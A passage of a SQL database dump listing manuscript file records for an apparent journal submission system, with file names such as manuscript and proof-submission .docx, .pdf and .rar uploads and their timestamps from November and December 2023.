15:41:39',1,1,0),(38698,14294,'14294-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:43:32',1,1,0),(38699,14295,'14295-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:46:14',1,1,0),(38700,14296,'14296-0-Manuscript-2023-11-14.pdf',NULL,'2023-11-14 20:49:39',1,1,0),(38701,14297,'14297-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:30:27',1,1,0),(38702,14298,'14298-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:32:42',1,1,0),(38703,14299,'14299-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:34:37',1,1,0),(38704,14300,'14300-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:37:42',1,1,0),(38705,14301,'14301-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:39:55',1,1,0),(38706,14302,'14302-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:41:24',1,1,0),(38707,14303,'14303-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:43:34',1,1,0),(38708,14304,'14304-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:46:35',1,1,0),(38709,14305,'14305-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:49:55',1,1,0),(38710,14306,'14306-0-Manuscript-2023-11-15.docx',NULL,'2023-11-15 11:52:04',1,1,0),(38711,14307,'14307-0-Manuscript-2023-11-17.docx',NULL,'2023-11-17 10:17:43',1,1,0),(38712,14308,'14308-0-Manuscript-2023-11-17.docx',NULL,'2023-11-17 11:14:44',1,1,0),(38713,13777,'13777-Manuscript-2023-11-17-w45f.docx',NULL,'2023-11-17 17:20:54',1,3,0),(38714,13777,'13777-Manuscript-2023-11-17-bgyx.pdf',NULL,'2023-11-17 17:21:12',1,3,0),(38715,14309,'14309-0-Manuscript-2023-11-17.docx',NULL,'2023-11-17 20:07:31',1,1,0),(38716,14310,'14310-0-Manuscript-2023-11-22.docx',NULL,'2023-11-22 14:14:51',1,1,0),(38717,14284,'14284-w30y-Manuscript-proof-submission-2023-11-22.rar',NULL,'2023-11-22 18:29:11',1,3,0),(38718,14113,'14113-Manuscript-2023-11-23-5eyd.pdf',NULL,'2023-11-23 11:12:13',1,3,0),(38719,14122,'14122-Manuscript-2023-11-23-q94u.pdf',NULL,'2023-11-23 11:12:26',1,3,0),(38720,14121,'14121-Manuscript-2023-11-23-vpro.pdf',NULL,'2023-11-23 11:12:38',1,3,0),(38721,14120,'14120-Manuscript-2023-11-23-n0wa.pdf',NULL,'2023-11-23 11:12:57',1,3,0),(38722,14119,'14119-Manuscript-2023-11-23-ey6g.pdf',NULL,'2023-11-23 11:13:15',1,3,0),(38723,14118,'14118-Manuscript-2023-11-23-3bk9.pdf',NULL,'2023-11-23 11:13:27',1,3,0),(38724,14117,'14117-Manuscript-2023-11-23-rdxk.pdf',NULL,'2023-11-23 11:13:39',1,3,0),(38725,14115,'14115-Manuscript-2023-11-23-hxio.pdf',NULL,'2023-11-23 11:13:51',1,3,0),(38726,14114,'14114-Manuscript-2023-11-23-k6cr.pdf',NULL,'2023-11-23 11:14:02',1,3,0),(38727,14284,'14284-Manuscript-2023-11-23-67tg-ipaom-23-14284.rar',NULL,'2023-11-23 12:16:30',1,3,0),(38728,14311,'14311-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 12:53:19',1,1,0),(38729,14312,'14312-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 12:56:41',1,1,0),(38730,14313,'14313-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 13:00:53',1,1,0),(38731,14314,'14314-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 13:02:59',1,1,0),(38732,14315,'14315-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 13:05:17',1,1,0),(38733,14316,'14316-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 13:07:28',1,1,0),(38734,14317,'14317-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 13:09:33',1,1,0),(38735,14318,'14318-0-Manuscript-2023-11-23.docx',NULL,'2023-11-23 13:12:18',1,1,0),(38736,14319,'14319-0-Manuscript-2023-11-24.docx',NULL,'2023-11-24 17:59:22',1,1,0),(38737,14320,'14320-0-Manuscript-2023-11-25.docx',NULL,'2023-11-25 11:45:55',1,1,0),(38738,14284,'14284-Manuscript-2023-11-25-5qdv.pdf',NULL,'2023-11-25 12:42:43',1,3,0),(38739,14096,'14096-b48w-Manuscript-proof-submission-2023-11-27.rar',NULL,'2023-11-27 11:37:47',1,3,0),(38740,14321,'14321-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:01:59',1,1,0),(38741,14322,'14322-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:04:49',1,1,0),(38742,14323,'14323-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:09:50',1,1,0),(38743,14324,'14324-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:11:07',1,1,0),(38744,14325,'14325-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:14:40',1,1,0),(38745,14326,'14326-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:15:34',1,1,0),(38746,14327,'14327-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:20:28',1,1,0),(38747,14328,'14328-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:22:34',1,1,0),(38748,14329,'14329-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:27:05',1,1,0),(38749,14330,'14330-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:28:12',1,1,0),(38750,14331,'14331-0-Manuscript-2023-11-27.docx',NULL,'2023-11-27 17:29:21',1,1,0),(38751,14157,'14157-8sz0-Manuscript-proof-submission-2023-11-28.rar',NULL,'2023-11-28 13:14:52',1,3,0),(38752,14332,'14332-0-Manuscript-2023-11-28.docx',NULL,'2023-11-28 17:01:56',1,1,0),(38753,14333,'14333-0-Manuscript-2023-11-28.docx',NULL,'2023-11-28 17:05:59',1,1,0),(38754,14296,'14296-gj9t-Manuscript-proof-submission-2023-11-29.rar',NULL,'2023-11-29 11:53:09',1,3,0),(38755,14096,'14096-Manuscript-2023-11-29-o0ah-iphsj-23-14096.rar',NULL,'2023-11-29 17:22:44',1,3,0),(38756,14157,'14157-Manuscript-2023-11-29-x273-iphsj-23-14157.rar',NULL,'2023-11-29 17:22:50',1,3,0),(38757,14296,'14296-Manuscript-2023-11-29-ad06-iphsj-23-14296.rar',NULL,'2023-11-29 17:23:00',1,3,0),(38758,14135,'14135-d70f-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:13:51',1,3,0),(38759,14135,'14135-qism-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:13:51',1,3,0),(38760,14134,'14134-4638-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:19:18',1,3,0),(38761,14134,'14134-8wbd-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:19:18',1,3,0),(38762,14137,'14137-o2qi-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:26:35',1,3,0),(38763,14137,'14137-ah9e-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:26:35',1,3,0),(38764,14165,'14165-h3yt-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:33:01',1,3,0),(38765,14165,'14165-i76k-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:33:02',1,3,0),(38766,14215,'14215-cbgo-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:41:46',1,3,0),(38767,14215,'14215-m3is-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:41:46',1,3,0),(38768,14139,'14139-r61m-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:42:13',1,3,0),(38769,14139,'14139-7xd1-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:42:13',1,3,0),(38770,14216,'14216-f2g0-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:44:39',1,3,0),(38771,14216,'14216-zoua-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:44:39',1,3,0),(38772,14141,'14141-gw5y-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:45:33',1,3,0),(38773,14141,'14141-myks-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:45:33',1,3,0),(38774,14143,'14143-9pgz-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:49:36',1,3,0),(38775,14143,'14143-7udq-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:49:36',1,3,0),(38776,14217,'14217-6oqd-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:52:44',1,3,0),(38777,14217,'14217-2xf0-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:52:44',1,3,0),(38778,14218,'14218-dz7n-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:55:11',1,3,0),(38779,14218,'14218-7zum-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:55:11',1,3,0),(38780,14145,'14145-ns3d-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:56:39',1,3,0),(38781,14145,'14145-reiq-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:56:40',1,3,0),(38782,14145,'14145-jior-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:56:46',1,3,0),(38783,14145,'14145-zcam-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:56:46',1,3,0),(38784,14145,'14145-qdpv-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:56:49',1,3,0),(38785,14145,'14145-r4q7-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:56:49',1,3,0),(38786,14145,'14145-mpw1-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:56:51',1,3,0),(38787,14145,'14145-kfad-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:56:52',1,3,0),(38788,14219,'14219-dwsu-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:58:43',1,3,0),(38789,14219,'14219-pwn6-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:58:43',1,3,0),(38790,14151,'14151-urv4-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 11:59:50',1,3,0),(38791,14151,'14151-wexh-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 11:59:50',1,3,0),(38792,14220,'14220-7fwg-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 12:01:01',1,3,0),(38793,14220,'14220-c83i-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 12:01:01',1,3,0),(38794,14182,'14182-9bks-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 12:01:39',1,3,0),(38795,14182,'14182-hk8j-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 12:01:39',1,3,0),(38796,14183,'14183-jt89-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 12:03:22',1,3,0),(38797,14183,'14183-b3f7-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 12:03:22',1,3,0),(38798,14221,'14221-0yk1-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 12:03:35',1,3,0),(38799,14221,'14221-o1qk-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 12:03:35',1,3,0),(38800,14221,'14221-qdi6-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 12:03:37',1,3,0),(38801,14221,'14221-f1m8-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 12:03:37',1,3,0),(38802,14222,'14222-5xl1-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 12:05:33',1,3,0),(38803,14222,'14222-ckh6-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 12:05:34',1,3,0),(38804,14223,'14223-mrgt-Manuscript-proof-submission-2023-11-30.docx',NULL,'2023-11-30 12:08:14',1,3,0),(38805,14223,'14223-xvyf-Manuscript-proof-submission-2023-11-30.pdf',NULL,'2023-11-30 12:08:14',1,3,0),(38806,14334,'14334-0-Manuscript-2023-11-30.docx',NULL,'2023-12-01 02:21:10',1,1,0),(38807,14295,'14295-bo1i-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:02:18',1,3,0),(38808,14294,'14294-xncy-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:02:35',1,3,0),(38809,14293,'14293-s0ox-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:03:01',1,3,0),(38810,14292,'14292-0cjz-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:03:16',1,3,0),(38811,14291,'14291-tgj2-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:04:50',1,3,0),(38812,14290,'14290-xicw-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:05:21',1,3,0),(38813,14289,'14289-8ijw-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:05:48',1,3,0),(38814,14288,'14288-ypra-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:06:22',1,3,0),(38815,14287,'14287-gd9f-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:06:58',1,3,0),(38816,14286,'14286-4otu-Manuscript-proof-submission-2023-12-01.docx',NULL,'2023-12-01 11:07:25',1,3,0),(38817,14307,'14307-4ixd-Manuscript-proof-submission-2023-12-01.rar',NULL,'2023-12-01 13:43:07',1,3,0),(38818,14310,'14310-uc4m-Manuscript-proof-submission-2023-12-01.rar',NULL,'2023-12-01 14:15:13',1,3,0),(38819,14335,'14335-0-Manuscript-2023-12-01.docx',NULL,'2023-12-01 14:37:18',1,1,0),(38820,14336,'14336-0-Manuscript-2023-12-01.docx',NULL,'2023-12-01 17:10:26',1,1,0),(38821,14337,'14337-0-Manuscript-2023-12-02.doc',NULL,'2023-12-02 09:15:00',1,1,0),(38823,14124,'14124-2t48-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 11:32:09',1,3,0),(38824,14124,'14124-evw9-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 11:32:09',1,3,0),(38825,14125,'14125-ib2w-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 11:44:51',1,3,0),(38826,14125,'14125-ke8d-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 11:44:51',1,3,0),(38827,14126,'14126-xjns-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 12:00:19',1,3,0),(38828,14126,'14126-znsg-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 12:00:19',1,3,0),(38829,14127,'14127-7fih-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 12:31:27',1,3,0),(38830,14127,'14127-varm-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 12:31:27',1,3,0),(38831,14022,'14022-dub3-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 13:10:50',1,3,0),(38832,14022,'14022-96d4-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 13:10:50',1,3,0),(38833,14022,'14022-c4yf-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 13:10:50',1,3,0),(38834,14022,'14022-21vr-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 13:10:50',1,3,0),(38835,14335,'14335-g45y-Manuscript-proof-submission-2023-12-04.rar',NULL,'2023-12-04 14:11:23',1,3,0),(38836,14181,'14181-9dcv-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 14:27:35',1,3,0),(38837,14181,'14181-e0t7-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 14:27:35',1,3,0),(38838,14179,'14179-gtbe-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 14:45:49',1,3,0),(38839,14179,'14179-bo9m-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 14:45:49',1,3,0),(38840,14336,'14336-w82h-Manuscript-proof-submission-2023-12-04.rar',NULL,'2023-12-04 14:47:04',1,3,0),(38841,14177,'14177-vuh9-Manuscript-proof-submission-2023-12-04.docx',NULL,'2023-12-04 15:16:55',1,3,0),(38842,14177,'14177-ilf5-Manuscript-proof-submission-2023-12-04.pdf',NULL,'2023-12-04 15:16:55',1,3,0),(38843,14339,'14339-0-Manuscript-2023-12-04.pdf','','2023-12-04 00:00:00',1,1,0),(38844,14340,'14340-0-Manuscript-2023-12-04.docx',NULL,'2023-12-04 16:39:51',1,1,0),(38845,14128,'14128-mpwt-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 10:07:11',1,3,0),(38846,14128,'14128-394p-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 10:07:12',1,3,0),(38847,14174,'14174-2v53-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 10:44:54',1,3,0),(38848,14174,'14174-2dwk-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 10:44:54',1,3,0),(38849,14131,'14131-cuxv-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 11:01:26',1,3,0),(38850,14131,'14131-yjft-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 11:01:26',1,3,0),(38851,14132,'14132-at93-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 11:10:18',1,3,0),(38852,14132,'14132-jxo0-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 11:10:18',1,3,0),(38853,14341,'14341-0-Manuscript-2023-12-05.docx',NULL,'2023-12-05 11:10:31',1,1,0),(38854,14245,'14245-zcq7-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 11:18:05',1,3,0),(38855,14245,'14245-pfwl-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 11:18:05',1,3,0),(38856,14246,'14246-71lo-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 11:23:56',1,3,0),(38857,14246,'14246-rifa-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 11:23:56',1,3,0),(38858,14172,'14172-tn8b-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 11:24:30',1,3,0),(38859,14172,'14172-cwjs-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 11:24:30',1,3,0),(38860,14168,'14168-2cps-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 11:57:16',1,3,0),(38861,14168,'14168-v3ij-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 11:57:16',1,3,0),(38862,14166,'14166-1vbs-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 12:06:38',1,3,0),(38863,14166,'14166-8ba0-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 12:06:38',1,3,0),(38864,14164,'14164-n7ha-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 12:12:23',1,3,0),(38865,14164,'14164-edvh-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 12:12:23',1,3,0),(38866,14154,'14154-b4mn-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 12:19:53',1,3,0),(38867,14154,'14154-ipe7-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 12:19:54',1,3,0),(38868,14147,'14147-bimn-Manuscript-proof-submission-2023-12-05.docx',NULL,'2023-12-05 12:25:58',1,3,0),(38869,14147,'14147-apho-Manuscript-proof-submission-2023-12-05.pdf',NULL,'2023-12-05 12:25:58',1,3,0),(38870,14342,'14342-0-Manuscript-2023-12-05.docx',NULL,'2023-12-05 12:47:42',1,1,0),(38871,14343,'14343-0-Manuscript-2023-12-05.docx',NULL,'2023-12-05 12:51:34',1,1,0),(38872,14244,'14244-usic-Manuscript-proof-submission-2023-12-05.rar',NULL,'2023-12-05 13:38:45',1,3,0),(38873,14096,'14096-Manuscript-2023-12-05-8ugc-graphic-completed.pdf',NULL,'2023-12-05 15:06:36',1,3,0),(38874,14157,'14157-Manuscript-2023-12-05-417m-graphic-completed.pdf',NULL,'2023-12-05 15:06:45',1,3,0),(38875,14296,'14296-Manuscript-2023-12-05-kg94-graphic-completed.pdf',NULL,'2023-12-05 15:06:47',1,3,0),(38876,14307,'14307-Manuscript-2023-12-05-82py-iphsj-23-14307.rar',NULL,'2023-12-05 15:50:50',1,3,0),(38877,14310,'14310-Manuscript-2023-12-05-chg0-iphsj-23-14310.rar',NULL,'2023-12-05 15:50:51',1,3,0),(38878,14368,'14344-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:29:25',1,1,0),(38879,14345,'14345-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:32:49',1,1,0),(38880,14346,'14346-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:35:35',1,1,0),(38881,14347,'14347-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:38:46',1,1,0),(38882,14348,'14348-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:41:32',1,1,0),(38883,14349,'14349-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:45:06',1,1,0),(38884,14350,'14350-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:47:24',1,1,0),(38885,14351,'14351-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:50:37',1,1,0),(38886,14352,'14352-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:54:59',1,1,0),(38887,14353,'14353-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 15:58:27',1,1,0),(38888,14354,'14354-0-Manuscript-2023-12-06.docx',NULL,'2023-12-06 16:35:13',1,1,0),(38889,14354,'14354-1-Manuscript-2023-12-06.docx',NULL,'2023-12-06 16:35:13',1,1,0),(38890,14354,'14354-2-Manuscript-2023-12-06.docx',NULL,'2023-12-06 16:35:13',1,1,0),(38891,14042,'14042-9qw5-Manuscript-proof-submission-2023-12-06.pdf',NULL,'2023-12-06 17:10:18',1,3,0),(38892,14042,'14042-bwzx-Manuscript-proof-submission-2023-12-06.jpg',NULL,'2023-12-06 17:10:18',1,3,0),(38893,14335,'14335-Manuscript-2023-12-06-kd6a-iphsj-23-14335.rar',NULL,'2023-12-06 17:53:24',1,3,0),(38894,14336,'14336-Manuscript-2023-12-06-k6wg-iphsj-23-14336.rar',NULL,'2023-12-06 17:53:44',1,3,0),(38895,14307,'14307-Manuscript-2023-12-07-uzty-graphic-completed.pdf',NULL,'2023-12-07 12:07:41',1,3,0),(38896,14336,'14336-Manuscript-2023-12-07-ej2w-graphic-completed.pdf',NULL,'2023-12-07 12:21:41',1,3,0),(38897,14310,'14310-Manuscript-2023-12-07-0uqc-graphic-completed.pdf',NULL,'2023-12-07 12:21:43',1,3,0),(38898,14335,'14335-Manuscript-2023-12-07-9zqn-graphic-completed.pdf',NULL,'2023-12-07 12:28:59',1,3,0),(38899,14335,'14335-Manuscript-2023-12-07-zsqu-graphic-completed.pdf',NULL,'2023-12-07 12:29:37',1,3,0),(38900,14206,'14206-14w3-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 12:59:38',1,3,0),(38901,14206,'14206-vx7t-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 12:59:38',1,3,0),(38902,14204,'14204-5nu2-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 14:26:35',1,3,0),(38903,14204,'14204-sgc2-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 14:26:35',1,3,0),(38904,14203,'14203-dphn-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 14:39:08',1,3,0),(38905,14203,'14203-hac4-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 14:39:08',1,3,0),(38906,14201,'14201-gb0q-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 15:38:12',1,3,0),(38907,14201,'14201-5t0l-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 15:38:12',1,3,0),(38908,14200,'14200-qy30-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 15:59:07',1,3,0),(38909,14200,'14200-d9b1-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 15:59:07',1,3,0),(38910,14200,'14200-6b2c-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 15:59:10',1,3,0),(38911,14200,'14200-0uay-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 15:59:10',1,3,0),(38912,14199,'14199-o26t-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 16:46:34',1,3,0),(38913,14199,'14199-outi-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 16:46:34',1,3,0),(38914,14186,'14186-ae5g-Manuscript-proof-submission-2023-12-07.docx',NULL,'2023-12-07 17:05:18',1,3,0),(38915,14186,'14186-zidb-Manuscript-proof-submission-2023-12-07.pdf',NULL,'2023-12-07 17:05:18',1,3,0),(38916,14198,'14198-dxmj-Manuscript-proof-submission-2023-12-08.docx',NULL,'2023-12-08 09:52:06',1,3,0),(38917,14198,'14198-6294-Manuscript-proof-submission-2023-12-08.pdf',NULL,'2023-12-08 09:52:06',1,3,0),(38918,8797,'8797-jrm3-Manuscript-proof-submission-2023-12-08.docx',NULL,'2023-12-08 10:52:18',1,3,0),(38919,8797,'8797-fmrw-Manuscript-proof-submission-2023-12-08.pdf',NULL,'2023-12-08 10:52:18',1,3,0),(38920,14355,'14355-0-Manuscript-2023-12-08.docx',NULL,'2023-12-08 11:48:43',1,1,0),(38921,14356,'14356-0-Manuscript-2023-12-08.docx',NULL,'2023-12-08 11:50:31',1,1,0),(38922,14357,'14357-0-Manuscript-2023-12-08.docx',NULL,'2023-12-08 11:52:58',1,1,0),(38923,14358,'14358-0-Manuscript-2023-12-08.docx',NULL,'2023-12-08 11:54:29',1,1,0),(38924,8797,'8797-v9tb-Manuscript-proof-submission-2023-12-08.docx',NULL,'2023-12-08 16:44:31',1,3,0),(38925,8797,'8797-25ng-Manuscript-proof-submission-2023-12-08.pdf',NULL,'2023-12-08 16:44:31',1,3,0),(38926,14359,'14359-0-Manuscript-2023-12-11.docx',NULL,'2023-12-11 12:24:07',1,1,0),(38928,14361,'14361-0-Manuscript-2023-12-13.docx',NULL,'2023-12-13 11:59:20',1,1,0),(38929,14362,'14362-0-Manuscript-2023-12-13.docx',NULL,'2023-12-13 12:04:38',1,1,0),(38930,14363,'14363-0-Manuscript-2023-12-13.docx',NULL,'2023-12-13 12:16:54',1,1,0),(38931,14364,'14364-0-Manuscript-2023-12-13.docx',NULL,'2023-12-13 13:04:09',1,1,0),(38932,14365,'14365-0-Manuscript-2023-12-13.docx',NULL,'2023-12-13 13:17:49',1,1,0),(38934,14367,'14367-0-Manuscript-2023-12-14.docx',NULL,'2023-12-14 10:03:51',1,1,0),(38935,14249,'14249-kdv0-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:24:21',1,3,0),(38936,14249,'14249-w0g5-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:24:22',1,3,0),(38937,14282,'14282-s4v0-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:25:04',1,3,0),(38938,14282,'14282-4edu-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:25:04',1,3,0),(38939,14281,'14281-4ue2-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:25:26',1,3,0),(38940,14281,'14281-1eyb-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:25:26',1,3,0),(38941,14280,'14280-cawp-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:25:47',1,3,0),(38942,14280,'14280-vmo2-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:25:47',1,3,0),(38943,14279,'14279-iuz2-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:26:14',1,3,0),(38944,14279,'14279-v37s-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:26:14',1,3,0),(38945,14278,'14278-kfiu-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:26:37',1,3,0),(38946,14278,'14278-v76l-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:26:37',1,3,0),(38947,14277,'14277-atwe-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:26:59',1,3,0),(38948,14277,'14277-67jg-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:26:59',1,3,0),(38949,14276,'14276-04oa-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:27:20',1,3,0),(38950,14276,'14276-9hi5-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:27:20',1,3,0),(38951,14275,'14275-qse2-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:27:40',1,3,0),(38952,14275,'14275-xb6j-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:27:40',1,3,0),(38953,14274,'14274-bkm7-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 